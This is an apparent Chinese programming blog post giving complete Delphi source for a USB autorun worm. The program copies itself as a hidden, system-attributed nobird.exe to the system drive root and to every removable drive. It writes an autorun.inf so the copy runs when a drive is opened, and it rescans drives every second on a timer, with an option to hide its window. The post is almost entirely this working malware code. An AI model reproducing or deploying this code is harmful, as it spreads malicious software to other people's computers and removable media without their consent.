delphi之autorun(复制自身+循环扫描)

菜鸟编程 十五楼的鸟儿 1015浏览 0评论
话说这段还是很菜的代码,仅仅是在无保护的机子上实现效果而已。
[code=delphi]
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Tlhelp32, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
var
s,s1,s2,s3:string;
i:char;
inf:textfile;
var
win: longint;
msg: Tmsg;

implementation

{$R *.dfm}
function GetWinDir: string;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)] <> '\' then Result := Result + '\';
end;
procedure TForm1.Button1Click(Sender: TObject);
begin

begin
//========================创建autorun.inf文件===================================
begin
s:=ExpandFileName(ParamStr(0)); //获取自身的完整路径
s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';
FileSetAttr(s,0);
FileSetAttr(s1,0);
assignfile(inf, 'Autorun.inf');
rewrite(inf);
writeln(inf, '[AutoRun]');
writeln(inf, '');
writeln(inf, 'open=nobird.exe');
writeln(inf, 'shell\open=打开(&O)');
writeLn(inf, 'shell\open\Command=nobird.exe');
writeln(inf, 'shell\open\Default=1');
writeln(inf, 'shell\explore=资源管理器(&X)');
writeln(inf, 'shell\explore\Command=nobird.EXE');
closefile(inf);
end;
//=====================================end======================================
//=============================将文件复制到系统盘符下===========================
s2:=copy(getwindir,1,1);
s3:=pchar(s2+':\autorun.inf');
s2:=pchar(s2+':\nobird.exe');
copyfile(pchar(s),pchar(s2),false);
copyfile(pchar(s1),pchar(s3),false);
FileSetAttr(s2,7);
FileSetAttr(s3,7);
//==================================end=========================================
//=============================将文件复制到所有磁盘===========================
for i:='C' to 'Z' do
if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then
begin
s2:=i;
s3:=pchar(i+':\autorun.inf');
s2:=pchar(s2+':\nobird.exe');
copyfile(pchar(s),pchar(s2),false);
copyfile(pchar(s1),pchar(s3),false);
FileSetAttr(s2,7);
FileSetAttr(s3,7);
end;

//================================end===========================================

end;

begin
//下面的代码在调试的时候最好注释掉,不然你会很郁闷...
win := getforegroundwindow; //获取当前窗体的句柄
//showwindow(win, SW_HIDE); //隐藏窗体
SetTimer(0, 10, 1000, @TForm1.Button1Click); //定时间器,一秒钟扫描一次
while GetMessage(msg, 0, 0, 0) do DispatchMessage(msg);
KillTimer(0, 10);

end;
end;
end.[/code]

转载请注明:鸟儿博客 » delphi之autorun(复制自身+循环扫描)

与本文相关的文章

游客
发表我的评论 换个身份
取消评论

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

等待大佬打赏中~